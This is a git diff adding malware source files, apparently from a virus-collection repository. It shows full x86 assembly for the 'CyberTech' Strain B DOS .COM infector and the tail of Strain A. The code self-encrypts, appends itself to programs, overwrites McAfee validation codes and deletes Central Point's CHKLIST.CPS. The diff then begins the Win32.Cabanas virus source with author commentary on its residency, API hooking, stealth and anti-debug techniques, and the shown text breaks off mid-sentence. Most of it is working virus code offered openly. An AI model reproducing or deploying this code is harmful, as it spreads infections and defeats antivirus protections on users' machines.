; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f900 ; Check if file too large + Jae ExeFile ; if yes, goto exefile + + Cmp Ax,10 ; Check if file too short + Jbe ExeFile ; if yes, goto exefile + + Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. McAfee' + Db 13,10,'could scan Strain A, but after switching 2 instructions' + Db 13,10,'it is hidden again. I suggest McAfee isn''t the best' + Db 13,10,'scanner. I''m deeply disappointed!' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain A-2' + Db 13,10,'(C) 1993 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/c/Cybtchb2.a86 b/c/Cybtchb2.a86 new file mode 100755 index 0000000..70c57c2 --- /dev/null +++ b/c/Cybtchb2.a86 @@ -0,0 +1,500 @@ +; +; CyberTech Virus - Strain B John Tardy (C) 1993 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activates. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Di,Crypt[BP] ; Decrypt the virus with a + Mov Si,Di ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1994 or more + Jmp NoClean ; - Not 1994 or more + +; +; Main Cleanup procedure +; + +Clean: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0 ; + Je Verder ; + Stosb ; + Loop Trans ; + +Verder: Stosb + Sub Di,12 + Push Cs + Pop Ds + Mov Ax,[Di][0] ; + Cmp Ax,'OC' + Jne Normal + Mov Ax,[Di][2] + Cmp Ax,'MM' + Jne Normal + Mov Ax,[Di][4] + Cmp Ax,'NA' + Jne Normal + Jmp Ready + +Normal: Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + + Mov Ah,40h ; write memory image of host + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; and shutdown virus + Lea Dx,Removed[Bp] ; + Int 21h ; + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,0fd1e[0] ; check if the file is + Cmp Ax,'OC' ; COMMAN?.COM (usually result + Jne NoCommand ; if COMMAND.COM) + Mov Ax,0fd1e[2] ; + Cmp Ax,'MM' ; + Jne NoCommand ; + Mov Ax,0fd1e[4] ; + Cmp Ax,'NA' ; + Jne NoCommand ; + + Mov Ax,4202h ; Jump to EOF + Call Fseek ; + + Cmp Ax,0f000h ; Check if file too large + Jae ExeFile + + Cmp Ax,VirS ; Check if file to short + jbe ExeFile + + Sub Ax,VirS + Xchg Cx,Dx + Mov Dx,4200h + Xchg Dx,Ax + Mov EOFminVir[BP],Dx + Int 21h + Mov Ah,3fh + Mov Dx,Offset Buffer + Mov Cx,VirS + Int 21h + Cld + Mov Si,Offset Buffer + Mov Cx,VirLen +On5: + Push Cx +On6: Lodsb + Cmp Al,0 + Jne On4 + Loop On6 +On4: Cmp Cx,0 + Je Found0 + + Pop Cx + Cmp Si,SeekLen + Jb On5 + Jmp NoCommand + +Found0: Pop Cx + Sub Si,Offset Buffer + Sub Si,Cx + Xor Cx,Cx + Mov Dx,EOFminVir[BP] + Add Dx,Si + + Mov Ax,4200h + Int 21h + Jmp CalcVirus + +EOFminVir Dw 0 + +NoCommand: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f000h ; Check if file too large + Jb NoExe1 ; if yes, goto exefile + Jmp ExeFile ; + +NoExe1: Cmp Ax,10 ; Check if file too short + Ja NoExe2 ; if yes, goto exefile + Jmp ExeFile ; + + +NoExe2: Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +;Removed Db 13,10,'Virus removed : ',13,10 + +Removed Db 13,10,'Previous year you was infected by me, but now I am' + Db 13,10,'gone. Message to McAfee : do not group viruses, it is' + Db 13,10,'confusing, better use CARO standards for every virus.' + Db 13,10,'Also improve your scanner, so that I cannot simply switch' + Db 13,10,'2 lines of code in my decryptor and it is hidden again.' + Db 13,10,'Can virus scan strains be copyrighted, so that every' + Db 13,10,'scanner needs a seperate strain?',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain B-2' + Db 13,10,'(C) 1993 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + +Buffer Equ 0f040h ; buffer offset +VirS Equ VirLen*2 + +SeekLen Equ Buffer+Virs + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/c/cabanas.asm b/c/cabanas.asm new file mode 100755 index 0000000..5fdd151 --- /dev/null +++ b/c/cabanas.asm @@ -0,0 +1,2638 @@ +; +; +; Win32.Cabanas.2999 +; by Jacky Qwerty/29A +; +; +; +; I'm very proud to introduce the first "resident" WinNT/Win95/Win32s virus. +; Not only it's the first virus stayin resident on NT, but is also the first +; with stealth, antidebuggin and antiheuristic capabilitiez. In short wordz, +; this babe is a "per process" memory resident, size stealth virus infecting +; Portable Executable filez on every existin Win32-based system. Those who +; dont know what a "per process" resident virus is, it means a virus staying +; resident inside the host Win32 aplication's private space, monitoring file +; activity and infectin PE filez opened or accesed by such Win32 aplication. +; +; The purpose of this virus is to prove new residency techniquez that can be +; exploited from genuine Win32 infectorz, without all the trouble of writing +; especific driverz for Win95 (VxDs), and WinNT. A genuine Win32 infector is +; a virus bein able to work unmodified across all Win32 platformz available: +; Win95, WinNT and any other future platform suportin the Win32 API interfa- +; ce. So far only Win95 especific virusez have been found, not Win32 genuine +; onez. Make sure to read the complete description about Win32.Cabanas writ- +; ten by Pter Szr, available at http://www.avp.ch/avpve/newexe/win32/caba- +; nas.stm. U can also read description by Igor Daniloff from Dr.Web, availa- +; ble at http://www.dials.ccas.ru/inf/cabanas.htm as well. +; +; After readin Pter Szr's description about Win32.Cabanas, i realized he'd +; really made a very serious profesional work. So good that he didnt seem to +; miss any internail detail in the virus, as if he had actually writen the +; bug himself or as if he was actually me, hehe. Obviosly, none of the prior +; onez are true. But, nevertheless, i think it's worth to take his work into +; account even from the VX side of the fence. Really i dunno what's left for +; me to say after such description, so i will simply add my own personal co- +; mentz to Pter's log. Erm.. btw why dont u join us? heh >8P +; +; +; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 +; 1. Technical Description +; +; Win32.Cabanas is the first known 32-bit virus that works under Windows NT +; Server, Windows NT workstation, Windows 95 and Windows 3.x extended with +; Win32s sub-system. It was found in late 1997. +; +; Win32.Cabanas is a per-process memory resident, fast infecting, antidebug- +; ged, partially packed/encrypted, anti-heuristic, semi-stealth virus. The +; "Win32" prefix is not misleading, as the virus is also able to spread in +; all Win32 based systems: Windows NT, Windows 95 and Win32s. The author of +; the virus is a member of the 29A group, the same young virus writer who +; wrote the infamous CAP.A virus. +; +; +; 1.1. Running an infected PE file +; +; When a Win32.Cabanas infected file is executed, the execution will start +; at the original host entry point. Surprisingly, Cabanas does not touch +; the entry point field in the Image File Header. Instead it patches the +; host program at its entry point. Five bytes at the entry point is replaced +; with a FAR JMP to the address where the original program ended. This can +; be considered as an anti-heuristic feature, as the host entry point value +; in the PE header keeps pointing inside the code section, possibly turning +; off some heuristic flags. +; +; Thus the first JMP points to the real entry point. The first function in +; Cabanas unpacks and decrypts a string table which consists of Win32 KERNEL +; API names. The unpack mechanism is simple but effective enough. Cabanas is +; also an armored virus. It uses "Structured Exception Handling" (typically +; abbreviated as "SEH") as an anti-debug trick. This prevents debugging from +; any application-level debugger, such as TD32. +; +; When the unpack/decryptor function is ready, the virus calls a routine to +; get the original Base Address of KERNEL32.DLL. During infection time, the +; virus searches for GetModuleHandleA and GetModuleHandleW API in the Import +; Table, respectively. When it finds them, it saves a pointer to the actual +; DWORD in the .idata list. Since the loader puts the addresses to this +; table before it executes the virus, Cabanas gets them easily. +; +; If the application does not have a GetModuleHandleA / GetModuleHandleW API +; import, the virus uses a third undocumented way to get the Base Address of +; KERNEL32.DLL by getting it from the ForwarderChain field in the KERNEL32 +; import. Actually this will not work under Windows NT, but on Win95 only. +; When the virus has the Base Address/Module Handle of KERNEL32.DLL, it +; calls its own routine to get the address of GetProcAddress function. The +; first method is based on the search of the Import Table during infection +; time. The virus saves a pointer to the .idata section whenever it finds a +; GetProcAddress import in the host. In most cases Win32 applications import +; the GetProcAddress API, thus the virus should not use a secondary routine +; to get the same result. If the first method fails, the virus calls another +; function which is able to search for GetProcAddress export in KERNEL32. +; Such function could be called as GetProcAddress-From-ExportsTable. This +; function is able to search in KERNEL32's Exports Table and find the +; address of GetProcAddress API. +; +; This function is one of the most important ones from the virus point of +; view and it is compatible with all Win32 based systems. If the entry point +; of GetProcAddress was returned by the GetProcAddress-From-ExportsTable +; function, the virus saves this address and use it later on. Otherwise, the +; GetProcAddress-From-ExportsTable function will be used several times. This +; function is also saved with "Structured Exception Handling" to avoid from +; possible exceptions. After this, the virus gets all the API addresses it +; wants to use in a loop. When the addresses are available, Cabanas is ready +; to replicate and call its direct action infection routine. +; +; +; 1.2. Direct action infection +; +; The direct action infection part is surprisingly fast. Even though the +; virus goes through all the files in Windows directory, Windows System +; directory and in the current directory respectively, the file infection +; is fast enough to go unnoticed in much systems. This is because the virus +; works with "memory mapped files", a new feature implemented in Win32 based +; systems which simplifies file handling and increases system performance. +; +; First the virus gets the name of Windows directory, then it gets the name +; of Windows System directory and calls the function which searches for non- +; infected executable images. It searches for non directory entries and +; check the size of the files it found. +; +; Files with size dividable by 101 without reminder are assumed to be +; infected. Other files which are too huge will not be infected either. +; After this, the virus checks the file extension, if it matches EXE or +; SCR (screen saver files), the virus opens and maps the file. If the file +; is considered too short, the file is closed. Then it checks the`MZ' marker +; at the beginning of the image. Next it positions to the possible `PE' +; header area and checks the `PE' signature. It also checks that the +; executable was made to run on 386+ machines and looks for the type of +; the file. DLL files are not infected. +; +; After this, the virus calculates a special checksum which uses the +; checksum field of PE files Optional Header and the file-stamp field of +; the Image File Header. If the file seems to be infected the virus closes +; the file. If not, the file is chosen for infection. Cabanas then closes +; the file, blanks the file attribute of the file with SetFileAttributeA API +; and saves the original attributes for later use. This means the virus is +; not stopped by the "Read Only" attribute. Then again, it opens and maps +; the possible host file in read/write mode. +; +; Next it searches for the GetModuleHandleA, GetModuleHandleW and +; GetProcAddress API imports in the host Import Table and calculates +; pointers to the .idata section. Then it calls the routine which +; patches the virus image into the file. +; +; This routine first checks that the .idata section has MEM_WRITE +; characteristics. If not it sets this flag on the section, but only if +; this section is not located in an executable area. This prevents the +; virus from turning on suspicious flags on the code section, triggered +; by some heuristic scanner. +; +; Then it goes to the entry point of the image and replaces five bytes +; with a FAR JMP instruction which will point to the original end of the +; host. After that it checks the relocation table. This is because some +; relocations may overwrite the FAR JMP at the entry point. If the +; relocation table size is not zero the virus calls a special routine +; to search for such relocation entries in the .reloc area. It clears +; the relocation type on the relocation record if it points into the FAR +; JMP area, thus this relocation will not take into account by the loader. +; The routine also marks the relocation, thus Cabanas will be able to +; relocate the host later on. Then it crypts all the information which has +; to be encrypted in the virus body. Including the table which holds the +; original 5 bytes from the entry point and its location. +; +; Next the virus calculates the special checksum for self checking purposes +; and saves this to the time stamp field of the PE header. When everything +; is ready, the virus calculates the full new size of the file and makes +; this value dividable by 101. The real virus code is around 3000 bytes +; only but the files will grow with more bytes, because of this. Cabanas +; has a very important trick here. The virus does not create a new section +; header to hold its code, but patches the last section header in the file +; (usually .reloc) to grow the section body large enough to store the virus +; code. This makes the infection less risky and less noticeable. +; +; Then the virus changes the SizeOfImage field in the PE header to reflect +; the changes made to the last section in the file, then unmaps and closes +; the file. Next it truncates the file at the previously calculated size +; and restores the original time and date stamp. Finally Cabanas resets the +; original attribute of the file. When all the possible files have been +; checked for infection, Cabanas is ready to go memory resident. +; +; +; 1.3. Rebuild the host, Hook API functions and Go memory resident +; +; The next phase is to rebuild the host program. The virus locates an +; internal parameter block which consists of the previously encrypted code +; from the host (5 bytes) and writes back the 5 original bytes at the entry +; point. After this, it relocates the code area if needed, by searching in +; the .reloc section for marked relocation entries. Next the virus hooks +; API functions and goes memory resident. +; +; The API hooking technique is based on the manipulation of the Import +; Table. Since the host program holds the addresses of imported functions +; in its .idata section, all the virus has to do is to replace those +; addresses to point to its own API handlers. +; +; To make those calculations easy, the virus opens and maps the infected +; program. Then it allocates memory for its per-process part. The virus +; allocates a 12232 bytes block and copies itself into this new allocated +; area. Then it searches for all the possible function names it wants to +; hook: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA, +; MoveFileExW, _lopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW, +; CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose, +; FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA, +; SetFileAttrW. Whenever it finds one of the latter APIs, it saves the +; original address to its own JMP table and replaces the .idata section's +; DWORD (which holds the original address of the API) with a pointer to its +; own API handlers. Finally the virus closes and unmaps the host and starts +; the application, by jumping into the original entry point in the code +; section. +; +; Some Win32 applications however may not have imports for some of these +; file related APIs, they can rather retrieve their addresses by using +; GetProcAddress and call them directly, thus the virus would be unable +; to hook this calls. Not so fast. The virus also hooks GetProcAddress +; for a special purpose. GetProcAddress is used by most applications. +; When the application calls GetProcAddress the virus new handler first +; calls the original GetProcAddress to get the address of the requested +; API. Then it checks if the Module Handle parameter is from KERNEL32 and +; if the function is one of the KERNEL32 APIs that the virus wants to hook. +; If so, the virus returns a new API address which will point into its +; NewJMPTable. Thus the application will still get an address to the virus +; new handler in such cases as well. +; +; +; 1.4. Stealth and fast infection capabilities +; +; Cabanas is a semi-stealth virus: during FindFirstFileA, FindFirstFileW, +; FindNextFileA and FindNextFileW, the virus checks for already infected +; programs. If the program is not infected the virus will infect it, +; otherwise it hides the file size difference by returning the original +; size for the host program. During this, the virus can see all the file +; names the application accesses and infects every single clean file. +; +; Since the CMD.EXE (Command Interpreter of Windows NT) is using the above +; APIs during a DIR command, every non infected file will be infected (if +; the CMD.EXE was infected previously by Win32.Cabanas). The virus will +; infect files during every other hooked API request as well. +; +; Apart from the encrypted API names strings, the virus also contains the +; following copyright message: +; +; (c) Win32.Cabanas v1.0 by jqwerty/29A. +; +; +; 1.5. Conclusion +; +; Win32.Cabanas is a very complex virus with several features new in Win32 +; based systems. It shows quite interesting techniques that can be used in +; the near future. It demonstrates that a Windows NT virus should not have +; any Windows 95 or Windows NT especific functionality in order to work on +; any Win32 system. The "per-process" residency technique also shows a +; portable viable solution to avoid known compatibility issues between +; Windows 95 and Windows NT respecting their low level resident driver +; implementations. Virus writers can use these techniques and their +; knowledge they have had on Windows 95 to come to a more robust platform. +; So far Win32.Cabanas has made this first step. +; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 +; +; +; 2. Shortcutz +; +; (*) http://www.dials.ccas.ru/inf/cabanas.htm +; +; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 +; Win32.Cabanas: A brief description +; +; Igor A. Daniloff +; +; Win32.Cabanas is the first known virus that infects files under Microsoft +; 32-bit Windows operating systems (Win32s/Windows 95/Windows NT). Not only +; is it capable of infecting PortableExecutable files, but also remains +; resident in the current session of an infected program in all these +; Windows systems. +; +; The viruses specifically designed for Windows 95 thus far could not +; properly infect files in Windows NT. Although files of Windows 95 and +; Windows NT have identical PE format, certain fields in their PE headers +; are different. Therefore, for infecting files under Windows NT, the PE +; header must be modified appropriately; otherwise Windows NT would display +; an error message in the course of loading the file. Furthermore, viruses +; encounter certain problems in determining the base addresses of WIN32 +; KERNEL API in the memory, because KERNEL32.DLL in Windows 95 and Windows +; NT are located at different memory addresses. But Win32.Cabanas smartly +; handles these problems. On starting an infected file, the virus gets +; control, unpacks and decrypts its table of names of WIN32 KERNEL API +; procedures that are needed in the sequel, and then determines the base +; address of KERNEL32.DLL and the addresses of all necessary WIN32 KERNEL +; API functions. +; +; While infecting a file, Win32.Cabanas finds the names of GetModuleHandleA, +; GetModuleHandleW, and GetProcAddress functions from the Import Table and +; stores in its code the offsets of the addresses of these procedures in the +; Import Table (in the segment .idata, as a rule). If the names of these +; procedures are not detectable, Win32.Cabanas uses a different undocumented +; method of finding the base address of KERNEL32 and the addresses of WIN32 +; KERNEL API. But there is a bug in this undocumented method; therefore the +; method is inoperative under Windows NT. If the addresses of +; GetModuleHandleA or GetModuleHandleW functions are available in the Import +; Table of the infected file, the virus easily determines the WIN32 KERNEL +; API addresses through the GetProcAddress procedure. If the addresses are +; not available in the Import Table, the virus craftily finds the address of +; GetProcAddress from the Export Table of KERNEL32. As already mentioned, +; this virus mechanism is not operative under Windows NT due to a bug, and, +; as a consequence, the normal "activity" of the virus is disabled. This is +; the only serious bug that prevents the proliferation of Win32.Cabanas +; under Windows 